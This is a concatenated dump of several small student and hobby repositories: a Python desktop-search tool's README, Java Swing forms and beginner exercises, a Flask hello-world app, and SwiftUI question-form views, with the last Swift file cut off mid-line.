utils.add_command(label='Remove Duplicate Files',activebackground='SteelBlue1',background='peach puff',command=init_dup) utils.add_separator() utils.add_command(label='Text File Punctuation Remover',activebackground='SteelBlue1',background='peach puff',command=inityughere) utils.add_separator() mymenu.add_cascade(label='Additional Utilities',menu=utils) root.config(menu=mymenu) myButton.bind('<Button-1>',search2) root.mainloop() main() from autoupdateDATA import * <file_sep># SearchBASE-1.0 A desktop search software that provides full text search(for windows). Built in python, it is a good alternative to windows search. Welcome to seachBASE 1.0 , a simple, easy to setup and use, Desktop search software. Following are the specifications and usage directions: -To begin, it indexes the files,folders and the documents inside the drives. -After that, the indexing becomes automatic and a background process. -Once you start entering the keyword, the appropriate results start appearing -The "Search inside Documents" button puts forward all those docmuents (including pdf) that contain the entered keyword(s); with a predefined priority order. -The Quick Email facility requires you to enter your email and password and other details. -In any case, any of the details(like the password or the email) will NEVER be stored. It is totally safe. -Duplicate file remover added. -The "remove duplicate files" removes the duplicate files from your desired folder or drive, WITHOUT notifying you about the names of the duplicate files deleted. -However this is safe but still this utility should NOT be used twice in the same session.
9022957b2eae52f6526b0cd8d0fbdc2eba3996d3
[ "Markdown", "Python" ]
5
Python
yugrocks/searchbase-1.0
253c8f1df9c96c52d5fa43eb402b33d299be96be
7b086b0017b2f59e1712e1d16bab727cdbf8c4f9
refs/heads/master
<repo_name>michaeljonathans/JavaW13_58170468_MichaelJonathanSetiawan<file_sep>/PenggabunganKarakter2.java /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package Swing2; /** * <NAME> * 58170468 */ import javax.swing.JOptionPane; public class PenggabunganKarakter2 extends javax.swing.JFrame { /** * Creates new form PenggabunganKarakter2 */ public PenggabunganKarakter2() { initComponents(); } /** * This method is called from within the constructor to initialize the form. * WARNING: Do NOT modify this code. The content of this method is always * regenerated by the Form Editor. */ @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents private void initComponents() { jLabel1 = new javax.swing.JLabel(); jLabel2 = new javax.swing.JLabel(); jLabel3 = new javax.swing.JLabel(); jLabel4 = new javax.swing.JLabel(); jLabel5 = new javax.swing.JLabel(); txtnama = new javax.swing.JTextField(); cbhob1 = new java.awt.Checkbox(); cbhob2 = new java.awt.Checkbox(); cbhob3 = new java.awt.Checkbox(); rblaki = new javax.swing.JRadioButton(); rbper = new javax.swing.JRadioButton(); jScrollPane1 = new javax.swing.JScrollPane(); lstjurusan = new javax.swing.JList<>(); btnsubmit = new javax.swing.JButton(); btntutup = new javax.swing.JButton(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); jLabel1.setText("FORM BIODATA MAHASISWA"); jLabel2.setText("Nama mahasiswa"); jLabel3.setText("Hobi"); jLabel4.setText("Jenis kelamin"); jLabel5.setText("Jurusan"); txtnama.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { txtnamaActionPerformed(evt); } }); cbhob1.setCursor(new java.awt.Cursor(java.awt.Cursor.DEFAULT_CURSOR)); cbhob1.setLabel("Membaca"); cbhob1.setName(""); // NOI18N cbhob2.setLabel("Travelling"); cbhob3.setCursor(new java.awt.Cursor(java.awt.Cursor.DEFAULT_CURSOR)); cbhob3.setLabel("Menulis"); rblaki.setText("Laki-laki"); rbper.setText("Perempuan"); lstjurusan.setModel(new javax.swing.AbstractListModel<String>() { String[] strings = { "Teknik Informatika", "Sistem Informasi", "Ekonomi Manajemen", "Ekonomi Akuntansi", "Desain Komunikasi" }; public int getSize() { return strings.length; } public String getElementAt(int i) { return strings[i]; } }); jScrollPane1.setViewportView(lstjurusan); btnsubmit.setText("SUBMIT"); btnsubmit.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { btnsubmitActionPerformed(evt); } }); btntutup.setText("TUTUP"); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel2) .addComponent(jLabel3) .addComponent(jLabel4) .addComponent(jLabel5)) .addGap(18, 18, 18) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addComponent(btnsubmit) .addGap(18, 18, 18) .addComponent(btntutup)) .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jLabel1) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) .addComponent(txtnama) .addGroup(layout.createSequentialGroup() .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(cbhob1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(rblaki)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(rbper) .addGroup(layout.createSequentialGroup() .addComponent(cbhob2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(cbhob3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)))))) .addContainerGap(42, Short.MAX_VALUE)) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addComponent(jLabel1) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel2) .addComponent(txtnama, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel3) .addComponent(cbhob1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(cbhob2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(cbhob3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel4) .addComponent(rblaki) .addComponent(rbper)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel5) .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 87, javax.swing.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(btnsubmit) .addComponent(btntutup)) .addContainerGap(68, Short.MAX_VALUE)) ); pack(); }// </editor-fold>//GEN-END:initComponents private void txtnamaActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_txtnamaActionPerformed // TODO add your handling code here: }//GEN-LAST:event_txtnamaActionPerformed private void btnsubmitActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnsubmitActionPerformed String nama = ""; String hobi = ""; String jeniskelamin = ""; String jurusan = ""; String info = ""; nama = txtnama.getText(); if (cbhob1.isSelected()) { hobi += "Membaca"; } if (cbhob2.isSelected()) { hobi += "Travelling"; } if (cbhob3.isSelected()) { hobi += "Menulis"; } if (rblaki.isSelected()) { jeniskelamin += "Laki-laki"; } else { jeniskelamin += "Perempuan"; } jurusan = lstjurusan.getSelectedValue().toString(); info = "Nama saya adalah " + nama + ", hobi saya adalah " + hobi + ", jenis kelamin saya adalah" + jeniskelamin + ", dan jurusan saya adalah " + jurusan + "."; JOptionPane.showMessageDialog(null, info); }//GEN-LAST:event_btnsubmitActionPerformed /** * @param args the command line arguments */ public static void main(String args[]) { /* Set the Nimbus look and feel */ //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) "> /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html */ try { for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { if ("Nimbus".equals(info.getName())) { javax.swing.UIManager.setLookAndFeel(info.getClassName()); break; } } } catch (ClassNotFoundException ex) { java.util.logging.Logger.getLogger(PenggabunganKarakter2.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (InstantiationException ex) { java.util.logging.Logger.getLogger(PenggabunganKarakter2.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (IllegalAccessException ex) { java.util.logging.Logger.getLogger(PenggabunganKarakter2.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (javax.swing.UnsupportedLookAndFeelException ex) { java.util.logging.Logger.getLogger(PenggabunganKarakter2.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } //</editor-fold> /* Create and display the form */ java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new PenggabunganKarakter2().setVisible(true); } }); } // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JButton btnsubmit; private javax.swing.JButton btntutup; private java.awt.Checkbox cbhob1; private java.awt.Checkbox cbhob2; private java.awt.Checkbox cbhob3; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JLabel jLabel5; private javax.swing.JScrollPane jScrollPane1; private javax.swing.JList<String> lstjurusan; private javax.swing.JRadioButton rblaki; private javax.swing.JRadioButton rbper; private javax.swing.JTextField txtnama; // End of variables declaration//GEN-END:variables } <file_sep>/PenggabunganKarakter.java /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package Swing2; /** * <NAME> * 58170468 */ import javax.swing.JOptionPane; public class PenggabunganKarakter extends javax.swing.JFrame { /** * Creates new form PenggabunganKarakter */ public PenggabunganKarakter() { initComponents(); } /** * This method is called from within the constructor to initialize the form. * WARNING: Do NOT modify this code. The content of this method is always * regenerated by the Form Editor. */ @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents private void initComponents() { nama_depan = new java.awt.TextField(); label1 = new java.awt.Label(); label2 = new java.awt.Label(); btnproses = new java.awt.Button(); btnkeluar = new java.awt.Button(); nama_belakang = new java.awt.TextField(); label3 = new java.awt.Label(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); nama_depan.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { nama_depanActionPerformed(evt); } }); label1.setText("APLIKASI BIODATA DIRI"); label2.setText("Nama belakang"); btnproses.setLabel("PROSES"); btnproses.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { btnprosesActionPerformed(evt); } }); btnkeluar.setLabel("KELUAR"); btnkeluar.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { btnkeluarActionPerformed(evt); } }); label3.setText("Nama depan"); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addGap(121, 121, 121) .addComponent(label1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGroup(layout.createSequentialGroup() .addGap(73, 73, 73) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING) .addComponent(btnproses, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(label2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(label3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) .addComponent(nama_depan, javax.swing.GroupLayout.PREFERRED_SIZE, 120, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(nama_belakang, javax.swing.GroupLayout.PREFERRED_SIZE, 120, javax.swing.GroupLayout.PREFERRED_SIZE))) .addGroup(layout.createSequentialGroup() .addGap(32, 32, 32) .addComponent(btnkeluar, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))))) .addContainerGap(105, Short.MAX_VALUE)) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addGap(40, 40, 40) .addComponent(label1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(nama_depan, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(label3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(nama_belakang, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(label2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGap(29, 29, 29) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(btnproses, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(btnkeluar, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addContainerGap(135, Short.MAX_VALUE)) ); pack(); }// </editor-fold>//GEN-END:initComponents private void nama_depanActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_nama_depanActionPerformed }//GEN-LAST:event_nama_depanActionPerformed private void btnprosesActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnprosesActionPerformed String ND = nama_depan.getText(); String NB = nama_belakang.getText(); JOptionPane.showMessageDialog(this, "Selamat datang " + ND + " " + NB); }//GEN-LAST:event_btnprosesActionPerformed private void btnkeluarActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnkeluarActionPerformed System.exit(0); }//GEN-LAST:event_btnkeluarActionPerformed /** * @param args the command line arguments */ public static void main(String args[]) { /* Set the Nimbus look and feel */ //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) "> /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html */ try { for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { if ("Nimbus".equals(info.getName())) { javax.swing.UIManager.setLookAndFeel(info.getClassName()); break; } } } catch (ClassNotFoundException ex) { java.util.logging.Logger.getLogger(PenggabunganKarakter.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (InstantiationException ex) { java.util.logging.Logger.getLogger(PenggabunganKarakter.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (IllegalAccessException ex) { java.util.logging.Logger.getLogger(PenggabunganKarakter.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (javax.swing.UnsupportedLookAndFeelException ex) { java.util.logging.Logger.getLogger(PenggabunganKarakter.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } //</editor-fold> /* Create and display the form */ java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new PenggabunganKarakter().setVisible(true); } }); } // Variables declaration - do not modify//GEN-BEGIN:variables private java.awt.Button btnkeluar; private java.awt.Button btnproses; private java.awt.Label label1; private java.awt.Label label2; private java.awt.Label label3; private java.awt.TextField nama_belakang; private java.awt.TextField nama_depan; // End of variables declaration//GEN-END:variables }
d2268fa9318442df691d6a07d2cd8709f56e6814
[ "Java" ]
2
Java
michaeljonathans/JavaW13_58170468_MichaelJonathanSetiawan
d6fd457e52794e97083819bf7144a3a3a907f336
0a2344b65a62bd142a307ee6205f43ca628ea353
refs/heads/master
<file_sep>from flask import Flask app = Flask(__name__) @app.route('/') def el_que_me_de_la_gana(): return "Hola, mundo" @app.route('/bye') def otro(): return "Adiós, mundo cruel!"
a6493ed5db4aac19ad7f2ea71f1c91000b110071
[ "Python" ]
1
Python
barandio/hello
75a77bc4e9f70a18dee088141f0619a6e1964dea
fd9ac9d329f96b6d4bae2ff06c741fc220cbc01b
refs/heads/master
<repo_name>vaibhavsd3474/App-Dev<file_sep>/W14D3/W14D3.java package W14D3; public class W14D3 { public static void main(String[] args) { int units = 30; int billpay; int runits = units - 400; int metercost = 5; if(units <= 400) { billpay = units*metercost; System.out.println(billpay); } else if (units > 400) { int rt = runits * 7; billpay = rt + 2000; System.out.println(billpay); } else { System.out.println("Bill cannot be displayed"); } } } <file_sep>/README.md # App-Dev It contains all the code from the SD Program semester 2 codes. <file_sep>/W14D3/P2.java package W14D3; import java.util.Scanner; public class P2 { static int day; static int days; static int week; public static void main(String args[]) { Scanner keyboard = new Scanner(System.in); day= keyboard.nextInt(); if(day<7) { System.out.println(days+" Days"); } else { days=day%7; week=day/7; System.out.println(week +" Weeks"+ " and " + days +" Days"); } keyboard.close(); } }<file_sep>/RecursionPuzzle/Power.java // Recursion Puzzle Solution 3 //@author <NAME> // 04/04/2018 v1.0 package RecursionPuzzle; public class Power { public static int recursiveFunction (int a, int n) { if (n == 0) return 1; // Logic for power of 3 return (a*recursiveFunction(a,n-1)); } public static void main(String [] args) { int actualres; int expectedres; // Test Number 1 actualres = recursiveFunction(0,0); expectedres = 1; if (actualres == expectedres) System.out.println("Test 1 = Pass; Result = " + actualres); else System.out.println("Test 1 = Fail; Result = " + actualres + "; Expected: " + expectedres); // Test Number 2 actualres = recursiveFunction(3,3); expectedres = 27; if (actualres == expectedres) System.out.println("Test 2 = Pass; Result = " + actualres); else System.out.println("Test 2 = Fail; Result = " + actualres + "; Expected: " + expectedres); // Test Number 3 actualres = recursiveFunction(2,3); expectedres = 8; if (actualres == expectedres) System.out.println("Test 3 = Pass; Result = " + actualres); else System.out.println("Test 3 = Fail; Result = " + actualres + "; Expected: " + expectedres); } } <file_sep>/RecursionPuzzle/Sum.java // Recursion Puzzle Solution 1 //@author <NAME> // 04/04/2018 v1.0 package RecursionPuzzle; import java.util.*; public class Sum { //For calculating sum of n natural numbers. public int sumNum(int n) { if(n==0) return 0; else return n+ sumNum(n-1); } //Main Method public static void main(String args[]) { //Scanner class for reading the input Scanner keyboard =new Scanner(System.in); System.out.println("Input a value: - "); int num = keyboard.nextInt(); Sum obj = new Sum(); int sum = obj.sumNum(num); System.out.println("The sum of numbers is "+sum); keyboard.close(); } } <file_sep>/NumberFormat.java //@author Vaibhav Copyright import java.text.NumberFormat; public class NumberFormat { public static void main(String[] args) { NumberFormat money = NumberFormat.getCurrencyInstance(); NumberFormat percent = NumberFormat.getPercentInstance(); double initialValue, total, interestRate; initialValue = 1500; interestRate = .20; total = initialValue + initialValue*interestRate; System.out.println(money.format(total)); } } <file_sep>/IterativeStringSearch.java package IterativeStringSearch; import java.lang.reflect.Array; import java.util.Arrays; public class IterativeStringSearch { private static String elements[] = {"Vaibhav","Yash","Manpreet","Yashul","Sumit","Garvit"}; public static int iterativeStringSearch (String elemets[], String goal) { Arrays.sort(elements); int ndx = 0; while (ndx < elements.length && elements[ndx] !=(goal)) ndx++; if (ndx >= elements.length) return -1; if (goal.equals(elements[ndx])) return ndx; else return -1 ; } public static void main(String[] args) { String goal = "Garvit"; int result = iterativeStringSearch(elements,goal); if (result<0) System.out.println("The goal could not find: " + goal); else System.out.println("The goal of " + goal + " was found at index: " + result); } }
494970b386dc474dd533702308edcc27c84364d3
[ "Markdown", "Java" ]
7
Java
vaibhavsd3474/App-Dev
817253bceb5110c064a72e3fd0da748aa1e1829c
0fc35df6e587ff908202cf980c68ccd9e5b73034
refs/heads/master
<repo_name>vineeth95/vin-project<file_sep>/FileOutputDemo/src/fileoutputdemo/FileOutputDemo.java package fileoutputdemo; import java.io.BufferedOutputStream; import java.io.FileOutputStream; public class FileOutputDemo { public static void main(String[] args) { try { FileOutputStream fo = new FileOutputStream("F://mynewfileio.txt"); //process it slower BufferedOutputStream bo = new BufferedOutputStream(fo); //process it faster String msg = ("My messages in a file"); byte b[]=msg.getBytes(); fo.write(b); fo.close(); } catch(Exception e) { System.out.println(e); }} } <file_sep>/IPFinder/src/ipfinder/IPFinder.java package ipfinder; import java.net.InetAddress; public class IPFinder { public static void main(String[] args) { try { InetAddress i = InetAddress.getByName("www.fb.com"); System.out.println("Host Name: "+i.getHostName()); System.out.println("IP address :" + i.getHostAddress()); } catch(Exception e) { System.out.println(e); } } } <file_sep>/FileReaderandWriterDemo/src/filereaderandwriterdemo/FileReaderandWriterDemo.java package filereaderandwriterdemo; import java.io.*; public class FileReaderandWriterDemo { public static void main(String[] args) { try { FileReader fr = new FileReader ("F://temp.txt"); //reader use 2 bytes per time so it is slower BufferedReader br= new BufferedReader(fr); int i; while((i=br.read())!=-1) { System.out.print((char)i); } br.close(); } catch(Exception e) { System.out.println(e); } try { FileWriter fw = new FileWriter ("F://temp1.txt"); //reader use 2 bytes per time so it is slower BufferedWriter bw= new BufferedWriter(fw); bw.write("This is my writer msg"); bw.close(); } catch(Exception e) { System.out.println(e); } } } <file_sep>/FileInputDemo/src/fileinputdemo/FileInputDemo.java package fileinputdemo; import java.io.*; //imports all io packages public class FileInputDemo { public static void main(String[] args) { try { FileInputStream fi =new FileInputStream("F://Core java syllabus.txt"); //it is slower BufferedInputStream bi = new BufferedInputStream(fi); //use buffer to access faster int i; while((i=bi.read())!=-1) { System.out.print((char)i); //dont use println } bi.close(); // close the file } catch(Exception e) { System.out.println(e); } //to read all files in a folder /* File folder = new File("F://"); File[] listOfFiles = folder.listFiles(); for (File file : listOfFiles) { if (file.isFile()) { System.out.println(file.getName()); } } */ } }
f44d4920d0574142298a20c4ab4cd0cd3c808345
[ "Java" ]
4
Java
vineeth95/vin-project
102fbe4b749fb18c8fb92ed046637a6aa5db9c37
3182d933bf3b94eca93cfb99f69db95f1b4b766f
refs/heads/master
<file_sep>// // VideoView.swift // SwiftUiForm // // Created by <NAME> on 07.04.2020. // Copyright © 2020 <NAME>. All rights reserved. // import SwiftUI struct VideoView: View { @Environment(\.presentationMode) var presentationMode: Binding<PresentationMode> @Binding var videoTitle: String @Binding var videoDescription: String // @EnvironmentObject var channelData: ChannelData var body: some View { NavigationView { VStack(alignment: .leading) { TextField("Video title", text: $videoTitle) TextField("Video description", text: $videoDescription) Divider() Button(action: { print("13579") self.presentationMode.wrappedValue.dismiss() }, label: { Text("Dismiss this VC") }) Spacer() }.padding() // .navigationBarTitle("\(channelData.channelName)") } } } <file_sep>// // DetailViewDisc.swift // SwiftUiForm // // Created by <NAME> on 21.04.2020. // Copyright © 2020 <NAME>. All rights reserved. // import SwiftUI struct DetailViewDisc: View { // var questions:Question @State private var selection = 1 // @Binding var showingNew: Bool @State var textQuestion: String = "" @State var textComment: String = "" var report = ["Детальный отчет", "Продукторый отчет", "Геолокация", "Берюза"] @State var reportName = "" @State var reportQuestion = "" @State var reportComment = "" var question:Question @State var textHeight: CGFloat = 120 var body: some View { ZStack { Color(#colorLiteral(red: 0.1185091361, green: 0.1185343638, blue: 0.1819397807, alpha: 1)).edgesIgnoringSafeArea(.all) VStack { Text("Вид обращения") .font(.callout) .foregroundColor(Color.init(#colorLiteral(red: 0.4676678777, green: 0.8382721543, blue: 0.9352027774, alpha: 1))) .frame(width: UIScreen.main.bounds.size.width-30, alignment: .leading) VStack(alignment: .leading) { Image(Glossary.isTag(numTag: question.imageNameId)) .resizable() .aspectRatio(contentMode: .fit) .frame(height: 25) .padding(.bottom) } VStack(alignment: .leading){ Text("Отчет") .font(.callout) .foregroundColor(Color.init(#colorLiteral(red: 0.4676678777, green: 0.8382721543, blue: 0.9352027774, alpha: 1))) HStack { ScrollView(showsIndicators: false, content:{ Text(question.name) .font(.callout) .foregroundColor(Color.init(#colorLiteral(red: 1, green: 1, blue: 1, alpha: 1))) .padding() }) .disabled(false) .lineLimit(5) .frame(width: UIScreen.main.bounds.size.width-30, height: 50) } .background(Color.init(#colorLiteral(red: 0.2196078431, green: 0.231372549, blue: 0.3137254902, alpha: 0.5))) // .foregroundColor(Color.white) // .overlay(RoundedRectangle(cornerRadius: 0).stroke(Color.gray, lineWidth: 1)) Text("<NAME>") .font(.callout) .foregroundColor(Color.init(#colorLiteral(red: 0.4676678777, green: 0.8382721543, blue: 0.9352027774, alpha: 1))) HStack { ScrollView(showsIndicators: false, content:{ Text(question.question) .font(.callout) .foregroundColor(Color.init(#colorLiteral(red: 1, green: 1, blue: 1, alpha: 1))) .padding() }) .disabled(false) .lineLimit(5) .frame(width: UIScreen.main.bounds.size.width-30, height: 70, alignment: .leading) } .background(Color.init(#colorLiteral(red: 0.2196078431, green: 0.231372549, blue: 0.3137254902, alpha: 0.5))) // .padding() // .foregroundColor(Color.white) // .overlay(RoundedRectangle(cornerRadius: 0).stroke(Color.gray, lineWidth: 1)) Text("Комментарий") .font(.callout) .foregroundColor(Color.init(#colorLiteral(red: 0.4676678777, green: 0.8382721543, blue: 0.9352027774, alpha: 1))) HStack { ScrollView(showsIndicators: false, content: { Text(question.description) .font(.callout) .foregroundColor(Color.init(#colorLiteral(red: 1, green: 1, blue: 1, alpha: 1))) .padding() }) .disabled(false) .lineLimit(7) .frame(width: UIScreen.main.bounds.size.width-30, height: 150, alignment: .leading) }.background(Color.init(#colorLiteral(red: 0.2196078431, green: 0.231372549, blue: 0.3137254902, alpha: 0.5))) // .padding() // .foregroundColor(Color.white) // .overlay(RoundedRectangle(cornerRadius: 0).stroke(Color.gray, lineWidth: 1)) } Spacer() }.padding(.top, -50) } } } struct DetailViewDisc_Previews: PreviewProvider { static var previews: some View { DetailViewDisc( question: questionData[0] ) } } <file_sep>// // TagView.swift // SwiftUiForm // // Created by <NAME> on 22.04.2020. // Copyright © 2020 <NAME>. All rights reserved. // import SwiftUI struct TagView: View { @State var colortags = ["problem","question","sentence"] @State var selecttag = 0 var body: some View { HStack{ ForEach(self.colortags, id: \.self) { colortag in Button(action: { switch colortag { case "problem": self.colortags = ["problem","question_no","sentence_no"] self.selecttag = 0 case "problem_no": self.colortags = ["problem","question_no","sentence_no"] self.selecttag = 0 case "question": self.colortags = ["problem_no","question","sentence_no"] self.selecttag = 1 case "question_no": self.colortags = ["problem_no","question","sentence_no"] self.selecttag = 1 case "sentence": self.colortags = ["problem_no","question_no","sentence"] self.selecttag = 2 case "sentence_no": self.colortags = ["problem_no","question_no","sentence"] self.selecttag = 2 default: print("0") } print(self.selecttag) }){ Image(colortag) .resizable() .aspectRatio(contentMode: .fit) .frame(height: 25) } } } } } struct TagView_Previews: PreviewProvider { static var previews: some View { TagView(colortags: [], selecttag: 0) } } <file_sep>// // DetailViewDiscNew.swift // SwiftUiForm // // Created by <NAME> on 23.04.2020. // Copyright © 2020 <NAME>. All rights reserved. // import SwiftUI struct DetailViewDiscNew: View { // var questions:Question @State private var selection = 1 @Binding var showingNew: Bool @State var textQuestion: String = "" @State var textComment: String = "" var report = ["Детальный отчет", "Продукторый отчет", "Геолокация", "Берюза"] @State var reportName = "" @State var reportQuestion = "" @State var reportComment = "" // var questions: [Question] @State var 